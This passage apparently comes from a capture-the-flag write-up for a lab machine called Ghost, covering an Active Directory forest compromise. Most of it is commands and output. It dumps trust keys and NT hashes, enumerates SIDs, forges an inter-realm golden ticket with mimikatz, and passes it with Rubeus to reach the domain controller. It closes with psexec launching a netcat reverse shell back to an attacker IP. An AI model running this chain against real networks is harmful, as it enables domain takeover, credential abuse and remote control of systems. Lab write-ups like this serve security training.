    * 7/22/2024 9:21:26 AM - CLEAR   - de 0b 64 63 58 9d ed e1 bc 36 c0 50 7c 4d 41 6d bd 82 72 e9 98 9b 13 58 b8 68 f1 94 8c ca 12 50 9b af 45 7d 0a 4d 4e 40 e2 7d 12 59 72 2f 87 22 64 c8 fa b2 96 8d aa c1 f1 17 a3 e7 aa 2b ec 87 b5 59 57 71 6f 33 87 4c e0 8a 8b 03 38 a2 71 b6 d5 0b 61 fd 7e 14 3e 46 16 d9 29 d8 f6 f9 05 69 3f b7 4f c1 28 0b 7e ec e5 46 ab 7e e8 2c 8b be 70 b5 d9 6c 96 1b fb 56 33 bc 41 15 b5 73 42 25 54 15 4b b6 fc 55 07 81 60 4a 6b 4c 22 a2 55 61 e5 91 e6 75 e3 62 d4 9a 37 77 bd 63 90 8e 6a 2a 2c c6 88 8f 57 44 7a 9e 35 aa e5 6a 2b 5f c8 0a 8c 4f cb bd af c9 60 59 ff 15 d9 fd cf 27 93 9f f7 19 9e 91 2b 38 d7 0e ec c9 43 e6 8c 3b 60 02 5f b7 c3 c1 67 c2 6b 44 db 1f 9c f7 72 2f 3a 54 6e 62 02 c9 46 d1 b7 3d 26 54 d0 4f 35 65 a8 3f
        * aes256_hmac       de2e49c70945c0cb0dec99c93587de84f0b048843b8e295c6da720ba85545ffe
        * aes128_hmac       b55ca148bc95f95b8cb72f67661e1a08
        * rc4_hmac_nt       0b0124f5d6c07ad530d6bf6a6404fdaa

 [Out-1] GHOST.HTB -> CORP.GHOST.HTB
    * 10/13/2024 7:52:29 PM - CLEAR   - 78 10 13 24 91 0a 57 22 71 4e f6 ef 53 6a d8 54 02 97 63 0b 78 28 41 b7 5e 5e e6 b7 50 03 35 96 f2 e5 8b a3 c1 21 fa f6 01 f5 5f 7b 38 98 bc 8b 2b f5 3e 91 ce 8a 01 06 59 c0 9b 19 8c d8 d3 1a 17 9f d4 f1 b2 cb a0 49 f6 7f 97 f7 a0 79 63 bb 20 4a bf a3 d9 dd b1 13 20 c6 a0 84 a2 ea 65 79 6a b6 d3 db 17 e9 be b8 c1 35 57 38 c8 3b a6 6a 90 32 66 ba 0e bd fd 67 bf f4 e9 3c f2 e5 37 94 84 d6 c0 71 d3 42 85 ef 4e 94 ac 56 0f df 05 77 1b 74 57 4f a2 07 07 a1 d6 8e ee a1 cd 6a c0 4c d9 3f 16 0a fa 47 07 45 45 ad b5 6d e4 01 b1 e4 bf 76 c2 8e 5b 4e f4 04 ed 08 e4 e0 7e d8 18 5a f5 df 07 c3 97 3d 7e 6d 28 1e c1 1a ec 6d 06 83 0f 27 ea c8 00 af 92 c9 1f f6 50 45 f5 c1 bb 4a 09 bb d6 df 6b cf d6 fe fe d8 44 bb 19 90 46 0b
        * aes256_hmac       b50449e019e0a55f9227fb2e830b044e9e9ad9952e2249e5de29f2027cd8f40d
        * aes128_hmac       81f4c2f21a640eed29861d71a619b4bb
        * rc4_hmac_nt       ea4e9954536eb29091fc96bbce83be23

We have an SID for the current domain: S-1-5-21-2034262909-2733679486-179904498 and a trust key 4b04c5ac6cca84114f4e965d96ca2d38 (NT hash, or RC4, for CORP.GHOST.HTB -> GHOST.HTB).

Now, we need to get the SID value for Administrator or Enterprise Admins user:

C:\Users\Public\Downloads>wmic.exe useraccount get name,sid

wmic.exe useraccount get name,sid
Name                  SID
Administrator         S-1-5-21-2034262909-2733679486-179904498-500
Guest                 S-1-5-21-2034262909-2733679486-179904498-501
krbtgt                S-1-5-21-2034262909-2733679486-179904498-502
Administrator         S-1-5-21-4084500788-938703357-3654145966-500
Guest                 S-1-5-21-4084500788-938703357-3654145966-501
krbtgt                S-1-5-21-4084500788-938703357-3654145966-502
kathryn.holland       S-1-5-21-4084500788-938703357-3654145966-3602
cassandra.shelton     S-1-5-21-4084500788-938703357-3654145966-3603
robert.steeves        S-1-5-21-4084500788-938703357-3654145966-3604
florence.ramirez      S-1-5-21-4084500788-938703357-3654145966-3606
justin.bradley        S-1-5-21-4084500788-938703357-3654145966-3607
arthur.boyd           S-1-5-21-4084500788-938703357-3654145966-3608
beth.clark            S-1-5-21-4084500788-938703357-3654145966-3610
charles.gray          S-1-5-21-4084500788-938703357-3654145966-3611
jason.taylor          S-1-5-21-4084500788-938703357-3654145966-3612
intranet_principal    S-1-5-21-4084500788-938703357-3654145966-3614
gitea_temp_principal  S-1-5-21-4084500788-938703357-3654145966-3615

We have to check that the SID value S-1-5-21-2034262909-2733679486-179904498-500 from the output is the same as the SID shown from the Bloodhound scan (where we discovered the relation between justin.bradley and adfs user) and we can see its the same for the domain. We can also see that S-1-5-21-4084500788-938703357-3654145966-519 is the SID for Enterprise Admins.

Finally, in the same mimikatz session (if we have not used lsadump::trust /patch command before this might not work, so if we closed the previous session we might have to run it again) we craft a golden ticket (following this example):

mimikatz # kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519  /rc4:4b04c5ac6cca84114f4e965d96ca2d38 /service:krbtgt /target:GHOST.HTB /ticket:gunzf0x.kirbi

User      : Administrator
Domain    : CORP.GHOST.HTB (CORP)
SID       : S-1-5-21-2034262909-2733679486-179904498
User Id   : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-4084500788-938703357-3654145966-519 ;
ServiceKey: 4b04c5ac6cca84114f4e965d96ca2d38 - rc4_hmac_nt
Service   : krbtgt
Target    : GHOST.HTB
Lifetime  : 10/13/2024 11:05:39 PM ; 10/11/2034 11:05:39 PM ; 10/11/2034 11:05:39 PM
-> Ticket : gunzf0x.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !

For parameters/flags explanations we can see this page.

We then upload Rubeus to the victim machine and use the generated .kirbi file to request a ticket:

C:\Users\Public\Downloads>.\Rubeus.exe asktgs /ticket:gunzf0x.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt

.\Rubeus.exe asktgs /ticket:gunzf0x.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2

[*] Action: Ask TGS

[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'CIFS/dc01.ghost.htb'
[*] Using domain controller: dc01.ghost.htb (10.0.0.254)
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):

      doIFAjCCBP6gAwIBBaEDAgEWooIEAzCCA/9hggP7MIID96ADAgEFoQsbCUdIT1NULkhUQqIhMB+gAwIBAqEYMBYbBENJRlMbDmRjMDEuZ2hvc3QuaHRio4IDvjCCA7qgAwIBEqEDAgEEooIDrASCA6gwBGexNwLt8t2HOMgn3+7WOgAC8UOH17kcyq6IQjCcOG3bDmOpwakVq0Lli++P2rpmw5HaZSI65+pb4pMyaY/H1mIc+FysPyNYNLISIawcOnSkXN425Pc5w/ARRAU3eTZuUp/PyAbX1xs4NiYZjRQy5NpWvb71/qxVTQqkks6VbjWpmlIKLlJ5nlwXd/s6g6+tXQakRcB6E60Oxn/RiB1VLW2We8KRnYnm+wwo2qhQy/EGwATfIIYE7q0Pze3lIw3GyFDPsYlLZ3n3krBJrtadgoCZ/iiBreDjmOM/u9e1s8uY1a7j/6ko9qC4rfTfSvYduo7MPyD6KGGBiQGToPmKZo7KWs1RfjjXqWdE4ARyFeVqBlYBvOVMlcOLyfTYiIt6EMCV6/zF37SG079jiVf0y9vgHFujAVDsQSBHJxU/OWCEbbi63tNzAqC7GREEPWlSwes9UzYKhE22KjUQQYh6hPg7riRXuWeBKgVJMK+iJAh80QKbZR1m14X9GCuGq3e2/4x72Pc3yIuRafgFSRfgI0VX/QHKURDwq49GkkUtDn9p24PMh9d0a6MyEsm5/s44xQzz2uMgpt04R/jvcAJ5P/uI+3htVa3wuIsLb0ZQ6OmJe8lM+4+SEEVA2n8qiP4i4sMnM7l1wfcXL7HcpkJdZvkTAi0Ecq+odlzAZNyvQW8BJ9qj5PtAigNxB7NRVWjqpSstbcgKcYFWclmYwj2zeRywk5kOoI/A2ly3OVGmKAxWNiZOAtpFCTAS2sg6HerOLW34DUOlemzjZIXmGoDpZd0jODxXDTmRMll/3y87Jv5OyOKd4fQdePykZzIGmcUXPcMlrFmEBCZg1wfwbGuZrcocJl1IOPVaTfRSqJRJVApMDtKfjQSGxWYLzaydRakjaNXoXXD51G0nLOHQbcbHK54H/IuHk+xJzDuuLAT9UDJvi1q1yBr9iFQpTBmXSLC1dd2keSqqixYH4mWKFdqUxx33fBsXn9BL8Xz6w5M+k2+VQady25bKyODV1WxRL8iSaERf9ZZiNkPJsAB5sEDpJaSg8wUvXzBePDNo6SP4fs8LfHWD5Lsk65LSE+85ztQ/NRznxAgqDBd40RgH1kNdR7gW9kcm0iakFFxnD0sLN4lMQLsuiux8wN3YT1xO9z0EH2egFww9uksS5xFXjGvS+nbDWVcFrHevbIQAx/fyGLQSHihqT12U559xdi/7/iTJLW02Yx33MMOj5w679feYhGZ54soRYE2jgeowgeegAwIBAKKB3wSB3H2B2TCB1qCB0zCB0DCBzaArMCmgAwIBEqEiBCCDEX7RPQYBXZbDLe8Qiuw9WzqhUrJzExdi0iBeWCWSQ6EQGw5DT1JQLkdIT1NULkhUQqIaMBigAwIBAaERMA8bDUFkbWluaXN0cmF0b3KjBwMFAEClAAClERgPMjAyNDEwMTQwNjA1NDZaphEYDzIwMjQxMDE0MTYwNTQ2WqcRGA8yMDI0MTAyMTA2MDU0NlqoCxsJR0hPU1QuSFRCqSEwH6ADAgECoRgwFhsEQ0lGUxsOZGMwMS5naG9zdC5odGI=

  ServiceName              :  CIFS/dc01.ghost.htb
  ServiceRealm             :  GHOST.HTB
  UserName                 :  Administrator
  UserRealm                :  CORP.GHOST.HTB
  StartTime                :  10/13/2024 11:05:46 PM
  EndTime                  :  10/14/2024 9:05:46 AM
  RenewTill                :  10/20/2024 11:05:46 PM
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  gxF+0T0GAV2Wwy3vEIrsPVs6oVKycxMXYtIgXlglkkM=

We can see if this worked using klist command to see if the ticket is cached:

C:\Users\Public\Downloads>klist

klist

Current LogonId is 0:0x3e7

Cached Tickets: (1)

#0>     Client: Administrator @ CORP.GHOST.HTB
        Server: CIFS/dc01.ghost.htb @ GHOST.HTB
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
        Start Time: 10/13/2024 23:05:46 (local)
        End Time:   10/14/2024 9:05:46 (local)
        Renew Time: 10/20/2024 23:05:46 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0
        Kdc Called:

Now, if we check if we have access to DC01 machine, we get Access denied. This might be due to difference in times between our ticket and the time machine. Therefore, we can automatize the generation of the script in a not so-simple oneliner:

C:\Users\Public\Downloads>.\mimikatz.exe "lsadump::trust /patch" exit && .\mimikatz.exe "kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498 /sids:S-1-5-21-4084500788-938703357-3654145966-519  /rc4:4b04c5ac6cca84114f4e965d96ca2d38 /service:krbtgt /target:GHOST.HTB /ticket:gunzf0x.kirbi" exit && .\Rubeus.exe asktgs /ticket:gunzf0x.kirbi /dc:dc01.ghost.htb /service:CIFS/dc01.ghost.htb /nowrap /ptt && dir \\dc01.ghost.htb\c$

<SNIP>
Volume in drive \\dc01.ghost.htb\c$ has no label.
 Volume Serial Number is 2804-C13F

 Directory of \\dc01.ghost.htb\c$

05/08/2021  01:20 AM    <DIR>          PerfLogs
07/22/2024  09:55 AM    <DIR>          Program Files
07/22/2024  09:55 AM    <DIR>          Program Files (x86)
02/04/2024  02:48 PM    <DIR>          Users
07/10/2024  03:08 AM    <DIR>          Windows
               0 File(s)              0 bytes
               5 Dir(s)   3,619,573,760 bytes free

We have access to Administrator Desktop in DC01:

C:\Users\Public\Downloads>dir \\dc01.ghost.htb\c$\Users\Administrator\Desktop
dir \\dc01.ghost.htb\c$\Users\Administrator\Desktop
 Volume in drive \\dc01.ghost.htb\c$ has no label.
 Volume Serial Number is 2804-C13F

 Directory of \\dc01.ghost.htb\c$\Users\Administrator\Desktop

07/03/2024  01:28 PM    <DIR>          .
01/30/2024  10:19 AM    <DIR>          ..
10/13/2024  07:37 PM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   3,619,311,616 bytes free

We can finally read the flag.

If we want to gain access to the DC01, we can upload a PsExec64.exe binary (it can be downloaded from the official Windows page). We pass the binary to the victim PRIMARY machine and make a copy of nc to DC:

C:\Users\Public\Downloads>copy C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\nc.exe \\dc01.ghost.htb\c$\Users\Public\Downloads\nc.exe

Finally, just send us a reverse shell using PsExec.exe binary:

C:\Users\Public\Downloads>.\psexec.exe \\DC01.ghost.htb C:\Windows\System32\cmd.exe /c "C:\Users\Public\Downloads\nc.exe 10.10.16.3 443 -e cmd.exe"

.\psexec.exe \\DC01.ghost.htb C:\Windows\System32\cmd.exe /c "C:\Users\Public\Downloads\nc.exe 10.10.16.2 443 -e cmd.exe"

PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com
Starting C:\Windows\System32\cmd.exe on DC01.ghost.htb...

We get a shell:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.24] 63075
Microsoft Windows [Version 10.0.20348.2582]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
corp\administrator

~Happy Hacking